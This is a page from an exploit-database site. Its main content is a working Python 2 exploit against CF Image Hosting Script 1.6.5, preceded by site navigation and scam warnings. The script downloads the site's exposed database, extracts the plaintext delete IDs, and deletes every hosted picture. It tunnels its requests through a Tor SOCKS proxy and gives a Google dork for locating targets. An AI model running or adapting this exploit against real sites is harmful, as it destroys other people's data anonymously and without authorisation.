0day.today - Biggest Exploit Database in the World.
![](/img/logo_green.jpg)
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earnGOLD
Administration of this site uses the official contacts. Beware of impostors!
![We DO NOT use Telegram or any messengers / social networks!](/img/no_telegram_big.png)
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
CF Image Hosting Script 1.6.5 - (Delete all Pictures) Privilege Escalation Exploit
#!/usr/bin/env python """ Exploit Title: CF Image Hosting Script 1.6.5: Delete database Google Dork: "Powered By CF Image Hosting script" Date: 01/08/2019 Exploit Author: David Tavarez Vendor Homepage: https://davidtavarez.github.io/ Software Link: http://forum.codefuture.co.uk/showthread.php?tid=73141 Version: 1.6.5 Tested on: Debian 9.6 By default, the database can be downloaded by any user. After decoding the file the database should be unserialize. The DELETE ID is stored in Plain Text, this ID can be use to delete a picture. $ virtualenv cfexploit $ source cfexploit/bin/activate $ pip install phpserialize $ pip install PySocks $ python exploit.py http://127.0.0.1:8000 [-] Target: http://127.0.0.1:8000/ [-] Downloading the database... [+] Decoding database... [-] Finding pictues... [+] Pictures found: 3 [+] Ready... let's do this! Deleting all pictures... [+] Done. """ import phpserialize import base64 import socks import socket import sys def create_connection(address, timeout=None, source_address=None): sock = socks.socksocket() sock.connect(address) return sock socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9150) # patch the socket module socket.socket = socks.socksocket socket.create_connection = create_connection import urllib2 if __name__ == '__main__': if len(sys.argv) == 1: print "ERROR: Provide a valid URL" sys.exit(-1) url = sys.argv[1] ids = [] try: print "[+] Target: {}".format(url) print "[+] Downloading the database..." response = urllib2.urlopen("{}/upload/data/imgdb.db".format(url)) print "[+] Decoding database..." with open("imgdb.db.txt", "w+") as f: f.write(base64.b64decode(response.read())) print "[+] Finding pictues..." for key, value in phpserialize.load(file("imgdb.db.txt")).iteritems(): ids.append(value.get('deleteid')) print "[+] Pictures found: {}".format(len(ids)) print "[+] Ready... let's do this! Deleting all pictures..." for id in ids: urllib2.urlopen("{}/?d={}".format(url, id)) print "[+] Done." except urllib2.URLError, ex: if ex.reason == "Forbidden": print "[-] ERROR: this version is not vulnerable." except EOFError, e: raise e # 0day.today [2024-08-22] #